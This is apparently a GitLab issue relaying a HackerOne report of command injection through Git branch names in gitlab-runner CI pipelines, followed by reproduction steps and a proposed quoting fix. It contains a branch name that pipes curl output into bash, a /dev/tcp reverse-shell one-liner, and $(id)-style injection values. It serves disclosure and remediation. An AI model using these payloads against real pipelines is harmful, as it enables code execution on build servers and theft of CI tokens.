Command injection via branch name in CI pipelines.
Status Report (revised: 2022-08-xx)
{placeholder}
HackerOne report #1063511 by stanlyoncm
on 2020-12-21, assigned to @dcouture:
Report | Attachments | How To Reproduce
Branch names are interpreted by the shell so you can inject commands. Someone could create a branch named $(curl${IFS}abcd.com|bash)
and host a script on that custom domain that would abuse the CI_JOB_TOKEN
. You'd need then to get someone to contribute to your MR which borders on social engineering but you could do it by getting someone to Apply Suggestion and hope they don't pay attention to the odd branch name. This is also, and perhaps more importantly, related to the efforts in https://gitlab.com/gitlab-org/gitlab/-/issues/295234
Original report in spanish
Report
==Report in Spanish:==
Summary
Debido a que el nombre de una rama permite algunos caracteres especiales, un atacante (desarrollador) es capaz de ejecutar código a nivel de sistema en un servidor que este ejecutando gilab-runner para las canalizaciones de un proyecto.
El atacante que empuja una rama con nombre $CI_DEFAULT_BRANCH`${c}` , es capaz luego de ejecutar una canalización a través de la interfaz de gitlab.com, estableciendo como valor de “c” un comando a nivel de sistema.
Lo que hace interesante a este ataque es que, no es necesaria la creación o modificación de ningún archivo del proyecto mientras se envía el trabajo a la canalización, por ejemplo .gitlab-ci.yml
, lo que indiciaria una posible acción maliciosa por parte de quien envía el trabajo.
El trabajo no dejara rastros de haber ejecutado algún comando en el servidor, ya que, el atacante debe redirigir la salida del comando hacia /dev/null
, además, el comando es ejecutado como producto de haber sido concatenado con el nombre de la rama a través de una variable de entorno.
Para la prueba de concepto, realice las pruebas bajo un entorno controlado ejecutando un corredor con un ejecutor “”shell”” y enviando un único trabajo que imprime un mensaje al finalizar. Luego al ejecutar una canalización desde la interfaz web y asignar un comando a nivel de sistema al valor de la variable de entorno “c”, pude obtener una conexión inversa mediante el siguiente comando.
(exec 5<>/dev/tcp/172.17.0.2/4444 && while read line 0<&5;do $line 2>&5 >&5;done &) &>/dev/null
Cabe destacar que yo he inyectado el comando anterior para demostrar el impacto que tendría esta vulnerabilidad en el servidor victima al ser tomando por un atacante, logrando incluso la persistencia en el sistema aun cuando el trabajo es eliminado o borrado, además he realizado un prueba de concepto en video que adjuntare con el reporte, sin embargo en los pasos para reproducir este problema, usted ejecutara el comando hostname
en el sistema.
Steps to reproduce
[Preparación]
1) Ingrese a Gitlab.com
2) Cree un proyecto nuevo.
3) Ejecute gitlab-runner en un servidor bajo su control.
4) Registre un corredor para su proyecto (para este informe yo he elegido el ejecutor shell).
5) Cree un archivo valido .gitlab-ci.yml
, y registre el corredor para el proyecto.
6) Invite un nuevo miembro con permisos de desarrollador.
[Flujo del ataque] (miembro invitado con permisos de desarrollador)
1) Cree una rama con el siguiente nombre $CI_DEFAULT_BRANCH`${c}`
2) Ingrese a https://gitlab.com/<user>/<project>/-/pipelines/new
y seleccione la rama $CI_DEFAULT_BRANCH`${c}` para ejecutar una nueva canalización.
3) Cree la variable de nombre c
con el valor eval hostname
4) Ejecute la canalización.
Como resultado de esto el trabajo fallara ya que no redirigió la salida del comando al /dev/null
o no envió el comando a segundo plano.
Obtendrá el siguiente mensaje al finalizar el trabajo:
fatal: couldn't find remote ref refs/heads/master<hostname>
Obtendrá el resultando del comando junto a la referencia remota master
, lo que indica que ha ejecutado un comando el el servidor de la victima.
What is the current bug behavior?
El nombre de la rama permite concatenar un comando a nivel de sistema que será ejecutado al momento de enviar una canalización.
What is the expected correct behavior?
Se debe evaluar el nombre de la rama como una cadena de caracteres al momento de ejecutar una canalización.
Relevant logs and/or screenshots
En este video de prueba de concepto, se omiten los pasos de [Preparación]
Output of checks
This bug happens on GitLab.com
Impact
Se puede ejecutar código arbitrario a nivel de sistema en ejecuciones CI, con tan solo enviar una nueva rama al proyecto y ejecutar una canalización, esto, sin modificar o crear ningún archivo que indique la acción mal intencionada por parte del atacante, debido a esto este ataque puede ser aun mas peligroso si se ejecutan las compilaciones en servidores de confianza ya que, como dije anteriormente no es necesaria la modificación de ningún archivo y además, no se crean registros de logs sobre la salida de algún comando enviado por el atacante.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
-
Create branch named
$(id)
-
Setup a pipeline
-
Observe this in the build output
Fetching changes with git depth set to 50... Initialized empty Git repository in /builds/dcouture/private_project/.git/ Created fresh repository. fatal: invalid refspec '+refs/heads/uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video):refs/remotes/origin/uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)'
Proposal
The problem happens because all command arguments are double-quoted in ShellWriter
-derived classes (Windows Batch is a different case that requires a different solution). In this particular scenario, the command in question is constructed in AbstractShell.writeRefspecFetchCmd. As shown by this issue, double-quoting all arguments is an unsafe default. We should:
- rename the current
Command
method in theShellWriter
interface to e.g.CommandWithArgExpansion
, and add a newCommand
method which would write the command in such a way that it would not expand arguments (normally this would be done by single-quoting them instead of double-quoting).
-
in
bash
andpwsh
, this is achieved by quoting arguments with a single-quote instead of double-quote.$"git" "-c" "http.userAgent=gitlab-runner development version darwin/amd64" "fetch" "origin" "+8a98ee069bb3146e558891110f0debf16dfe6fa8:refs/pipelines/246990606" "+refs/heads/$(id):refs/remotes/origin/$(id)" "--depth" "50" "--prune" "--quiet"
becomes
$'git' '-c' 'http.userAgent=gitlab-runner development version darwin/amd64' 'fetch' 'origin' '+8a98ee069bb3146e558891110f0debf16dfe6fa8:refs/pipelines/246990606' '+refs/heads/$(id):refs/remotes/origin/$(id)' '--depth' '50' '--prune' '--quiet'
-
in
cmd
, this is achieved by replacing%
with%^
:
- add tests for the new
Command
implementation inShellWriter
-derived classes to ensure that known expansions are thwarted. - Ideally, we'd review all commands that shouldn't need argument expansion and have them be created with
Command
instead ofCommandWithArgExpansion
.
Once this is done, a bash
job on a branch called $(id)
no longer fails or exposes information:
Same thing for a pwsh
job on a branch called $(Get-Host)
:
A PoC MR is located here.